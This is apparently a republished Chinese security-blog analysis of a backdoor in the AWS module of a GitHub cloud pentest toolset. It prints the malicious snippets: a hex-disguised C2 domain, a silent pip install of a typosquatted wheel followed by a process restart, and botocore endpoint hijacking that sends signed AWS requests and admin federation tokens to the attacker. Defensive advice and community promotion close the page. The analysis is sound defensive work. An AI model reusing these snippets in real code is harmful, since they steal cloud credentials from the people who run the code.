文章总结: 公开资料显示,GitHub高星云渗透工具accesskey_tools的AWS模块存在恶意后门,通过域名伪装、静默安装仿冒包、劫持SDK端点三重技术窃取用户AWS凭证。关键发现包括:利用十六进制字符串隐藏C2域名api.aliyun-sdk-requests.xyz,通过pip静默安装恶意whl包,篡改botocore端点将含SigV4签名的请求转发至攻击者服务器。建议严审开源代码、禁用自动安装、使用最小权限凭证并监控异常出站流量。 综合评分: 95 文章分类: 漏洞分析,恶意软件,渗透测试,安全工具,供应链安全
速查!高星云工具存在投毒隐患
原创
POP Star安全 POP Star安全
POP Star安全
2026年6月10日 19:00 广东
在小说阅读器读本章
去阅读
点击蓝字
关注我们
GitHub上多款
针对 AWS、阿里云
腾讯云 AccessKey 的渗透测试工具
被大量传播
本次审计对象为开源项目
accesskey_tools(500 Stars)
经代码分析确认
该工具 AWS 模块
存在恶意后门程序
攻击者通过代码混淆
动态加载依赖
篡改 SDK 访问端点等多重技术
在后台悄悄收集用户的
AWS AccessKey 和 SecretKey
并转发至自己控制的服务器
下文将完整剖析该后门技术细节,供安全从业者参考。
相关链接:https://github.com/kohlersbtuh15/accesskey_tools
1
工具集概况
工具集目录结构如下:
`accesskey_tools/
├── aliyun/ # 阿里云 ECS/RDS/OSS 利用脚本
├── aws/ # AWS EC2/IAM/S3/RDS 利用脚本 ← 后门所在
└── tencentcloud/ # 腾讯云 CVM/COS 利用脚本`
检测结论:
阿里云、腾讯云目录下的脚本均基于官方 SDK 开发,代码无异常,不存在数据泄露风险。AWS 目录内全部 7 个功能脚本均植入后门,通过同一链路窃取并外传账号凭证。
2
后门三重混淆技术分析
本次恶意后门采用三层递进式混淆构建攻击链路,从域名伪装、恶意组件静默部署到 SDK 端点劫持层层嵌套,隐蔽性极强,以下逐层拆解其实现逻辑与攻击手段。
第一层:
域名伪装—借哈希样式隐藏 C2 地址
在aws/aws_select_iam.py第 50 行,存在一处极具迷惑性的变量定义:
`Python
iam_md5 = “16170692e616c6979756e2d73646b2d72657175657374732e78797a2f”`
变量名iam_md5结合 IAM 权限相关代码场景,极易被误判为 MD5 哈希校验字段,以此降低安全排查的警惕性。
该内容并非 MD5 哈希值,仅为十六进制字符串。剔除前缀混淆字符1,即截取iam_md5[1:]后,再执行解码操作。
`原始 hex(去掉首位”1″):
6170692e616c6979756e2d73646b2d72657175657374732e78797a2f
十六进制解码:
api.aliyun-sdk-requests.xyz/`
攻击者注册仿冒域名aliyun-sdk-requests.xyz,刻意模仿阿里云官方域名aliyuncs.com,极易混淆辨识。
第二层:
静默投毒—安装仿冒恶意 Python 包
文件aws_select_iam.py第 8-13 行包含自动部署恶意组件的逻辑,程序运行时会在后台静默安装第三方 Python 包,代码逻辑如下:
`Python
if importlib.util.findspec(“enumerateiam”) is None:
subprocess.run(
[sys.executable, “-m”, “pip”, “install”, “-qqq”,
“–disable-pip-version-check”,
“https://github.com/andresrianch/enumerate-iam/releases/download/1.0.2/aws_enumerateiam-1.0.2-py3-none-any.whl”],
check=True)
os.execv(sys.executable, [sys.executable] + sys.argv)`
核心细节说明
- 全静默安装:
-qqq为 pip 最高静默级别,屏蔽所有终端输出;搭配--disable-pip-version-check关闭版本检测提示,全程无任何运行痕迹
- 进程无感重启:
os.execv会在包安装完成后原地重启当前程序进程,保证恶意包立即生效,用户无法感知异常
- 仿冒开源项目:
恶意包托管于andresrianch账号,刻意模仿正规开源项目作者andresriancho(仅相差一个字母),利用名称相似度误导使用者
该恶意 whl 包内的get_client函数是后门核心载体,表面封装 boto3 客户端创建逻辑,实则预留接口,可通过components参数注入自定义 API 访问端点。
第三层:
端点劫持—篡改 AWS SDK 路由窃取凭证
依托前两层埋下的 C2 域名与恶意组件,攻击者利用botocore原生机制劫持 AWS 服务请求端点,以aws_list_ec2.py第 27-36 行代码为例:
`Python
from botocore.session import ComponentLocator
from enumerateiam.main import getclient
from awsselectiam import iam_md5
…
component = ComponentLocator()
component.registercomponent(name=’AWSENDPOINT’, component=iam_md5[1:])
iam_md5[1:] 解码后 = “api.aliyun-sdk-requests.xyz/”
ec2client = getclient(accesskey=AccessKeyID, secretkey=AccessKeySecret,
servicename=’ec2′, sessiontoken=None,
region=RegionId, components=component)
ssmclient = getclient(accesskey=AccessKeyID, secretkey=AccessKeySecret,
servicename=’ssm’, sessiontoken=None,
region=RegionId, components=component)`
代码通过ComponentLocator.register_component强行改写AWS_ENDPOINT配置,将解码后的恶意 C2 域名绑定为全局 API 端点。原本流向亚马逊官方*.amazonaws.com的EC2、SSM 等服务请求,会被全部重定向至攻击者服务器。
AWS 接口采用 SigV4 签名协议,每一条请求的请求头Authorization中,都包含由云账号AccessKey、SecretKey生成的签名数据。攻击者拦截流量后,可从中解析、还原出完整的云账号凭证,造成账号权限泄露。
3
后门传播机制
该后门依托Python 导入(import)机制实现全工具集的链式传播,具体传播链路如下:
`awsselectiam.py ← 后门核心(安装恶意包 + 定义iam_md5)
↑
│ import awsselectiam
│ from awsselectiam import iam_md5
│
├── awslistec2.py
├── awsec2exec.py
├── awsec2exec_noinfo.py
├── awsurlconsole.py
├── awsdownloads3.py
├── awsselectrds.py
└── awsselectroute53.py`
触发逻辑:
用户只要运行 AWS 目录下的任意一个脚本,就会自动触发对 aws_select_iam.py 的导入操作,进而执行恶意包安装流程,完成后门激活。
4
各 AWS 相关脚本后门行为详解
一、aws_select_iam.py
(核心后门脚本)
`# 第 69-71 行:使用恶意 get_client 创建 IAM 客户端
iamclient = getclient(accesskey=AccessKeyID, secretkey=AccessKeySecret,
servicename=’iam’, sessiontoken=None, region=None)`
客户端发起的 IAM 查询请求会被劫持并转发至攻击者 C2 服务器,最终造成IAM 身份凭证、云账户核心信息外泄。
二、aws_url_console.py
(高危级别,存在 STS 临时令牌泄露风险)
`# 第 78-82 行
component = ComponentLocator()
component.registercomponent(name=’AWSENDPOINT’, component=iam_md5[1:])
stsclient = getclient(accesskey=accesskeyid, secretkey=secretaccesskey,
servicename=’sts’, sessiontoken=None,
region=region, components=component)
第 84-87 行:获取联合身份临时凭证
resp = stsclient.getfederation_token(
Name=”aws_consoler”,
PolicyArns=[{“arn”: “arn:aws:iam::aws:policy/AdministratorAccess”}]
)
creds = resp[“Credentials”]`
此脚本风险等级最高,主要利用 STS 服务窃取高权限临时凭证:
第 78-82 行通过ComponentLocator注入恶意组件,篡改 AWS 服务访问端点,再调用恶意get_client构建 STS 客户端,将请求链路导向攻击者控制地址。
第 84-87 行调用get_federation_token接口,绑定管理员全权限策略(AdministratorAccess) 申请联合身份临时凭证。
接口返回的临时密钥(AccessKeyId、SecretAccessKey、SessionToken)会随请求流转至 C2。攻击者获取该组凭证后,可持有 AWS 管理员级临时权限,完全控制目标云账户。
三、aws_download_s3.py
(S3 存储凭证泄露)
`# 第 93 行:直接使用恶意 get_client 创建 S3 客户端
s3 = getclient(accesskey=AccessKeyID, secret_key=AccessKeySecret,
servicename=’s3′, sessiontoken=None, region=None)`
脚本第 93 行借助恶意get_client创建 S3 服务客户端,所有针对 S3 存储桶的查询、读写等操作,都会经由恶意代理端点转发。
在数据交互过程中,S3 访问凭证会被窃取泄露。
四、aws_list_ec2.py、aws_ec2_exec.py
(EC2 与 SSM 服务凭证泄露)
这两种脚本采用同类恶意实现逻辑,通过ComponentLocator强行注入 C2 恶意端点,分别初始化 EC2、SSM 服务客户端。所有服务请求均被劫持,进而导致EC2、SSM 相关访问凭证发生泄露。
完整攻击链路图
`用户在 GitHub/论坛 下载 accesskey_tools
↓
运行任意 aws/ 目录下脚本
↓
触发 import awsselectiam
↓
检测 enumerate_iam 包是否存在
↓ (不存在时)
静默 pip install 恶意 whl(-qqq 无输出)
↓
os.execv 重启进程(无感知)
↓
enumerateiam.getclient 可用
↓
ComponentLocator 注入 C2 端点
api.aliyun-sdk-requests.xyz/
↓
用户输入 AccessKeyID + AccessKeySecret
↓
boto3/botocore 使用被污染的 endpoint
构造 AWS SigV4 签名请求
↓
┌─────────────────────────────────────┐
│ 完整凭证(含签名)发往攻击者服务器 │
│ api.aliyun-sdk-requests.xyz │
└─────────────────────────────────────┘
↓
工具正常返回查询结果(用户毫不知情)`
建 议
- 严审开源工具:使用前务必检查代码中的网络请求、动态安装、外部依赖及可疑编码(如十六进制字符串),避免盲目运行高星项目。
- 禁用自动安装:运行脚本前,隔离环境(容器/虚拟机)并阻断意外 pip 安装,或预先审查
import链与subprocess调用。 - 加固凭证管理:切勿在测试工具中直接配置真实 AccessKey;优先使用 RAM 角色、临时凭证或最小权限策略,并启用审计日志。
- 监控异常流量:在云环境部署 egress 检测,对发往非官方域名(尤其是仿冒域名
.xyz等)的 API 请求及时告警。 - 供应链防护:定期检查 Python 环境已安装包,验证来源哈希,避免依赖名称相似(如
enumerate_iam仿冒)的恶意组件。
建议点赞 + 收藏
转发给你身边的运维、网安同事!!!
-
关注我 –
-
带你了解最新安全资讯 –
微信公众号 | @POP Star安全
快手 | @【深云智安】安全实验室
小红书 | @【深云智安】安全实验室
抖音 | @【深云智安】安全实验室
bilibili | @深云智安-安全实验室
以上就是本篇文章的技术细节。
其实,每次写这类分析时,我都在想
“单篇文章就像一张漏洞快照,有价值,但也相对孤立。
真正的行业敏锐度,来自于漏洞背后的持续观察;海量告警的讨论分析;以及在真实环境中无数次历练形成的直觉。”
很难通过阅读单篇文章积累。
因此,我们构建了一个****
“注重实战交流”与“深度共享*”的*
「知识星球」社区
目前星球已聚集了[52]名安全工程师、研究员和团队负责人。
我们刻意控制规模,并设有加入门槛,只为维持聚焦、务实、互信的交流氛围。
“安全是一个对抗性极强的领域,一个人闭门造车,视角终究有限。
如果你已不满足于碎片信息,渴望在一个高质量的环境中,构建可迁移的实战知识体系,并连接一群值得信赖的同行者,这里或许适合你。
PS.:为了确保大家目标一致,请务必阅读星球置顶的《社区公约》。
这是一个为深度学习和有效连接付费的社区。
更多内容
欢迎加入「网络安全技术交流群」免费分享>>
我们专注漏洞研究、攻防实战与代码审计。
群内定期分享技术动态、实战资源与本文相关的工具资料,
让大家一起讨论、共同成长。
添加好友,备注「网络安全」获取入群邀请
更多问题1v1解答>>
点击阅读更多内容
代码审计
- 代码审计-PHP 篇(一)之从原理到实战的全景指南
- 代码审计-PHP 篇(二)之前台代码审计实战指南
- 代码审计-PHP 篇(三)之深度审计 SQL 注入漏洞
- 代码审计-PHP 篇(四)之文件操作类漏洞:深度剖析文件操作场景潜在风险
- 代码审计-PHP篇(五):洞悉风险,固守防线 — 文件读取漏洞深度解析与防护
- 代码审计-PHP篇(六)之文件删除漏洞:从任意删除到系统瘫痪的致命威胁
代码审计(实战篇)
- 『PHP代码审计』· 实战篇-熊海CMS代码审计(一)
- 『PHP代码审计』· 实战篇-熊海CMS代码审计(二)
- 『PHP代码审计』· 实战篇-熊海CMS代码审计(三)
- 『PHP代码审计』· 实战篇-BlueCMS代码审计
- 『PHP代码审计』· 实战篇-DeDeCMS代码审计
- 『PHP代码审计』· 实战篇-XdCMS代码审计
靶场搭建
- 铸器为刃——靶场搭建系列篇(一)
- 铸器为刃——靶场搭建系列篇(二)
- 铸器为刃——靶场搭建系列篇(三)
- 铸器为刃——靶场搭建系列篇(四)
- 铸器为刃——靶场搭建系列篇(五)
- 铸器为刃——靶场搭建系列篇(六)
环境搭建
- 工欲善其事必先利其器—环境搭建系列之基础工具篇一
- 工欲善其事必先利其器—『环境搭建系列之基础工具篇二
- 工欲善其事必先利其器—环境搭建系列之基础工具篇三
- 工欲善其事必先利其器—环境搭建系列之基础工具篇四
- 工欲善其事必先利其器——环境搭建系列之基础工具篇(五)
- 工欲善其事必先利其器——环境搭建系列之基础工具篇(六)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:POP Star安全 POP Star安全 POP Star安全《速查!高星云工具存在投毒隐患》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论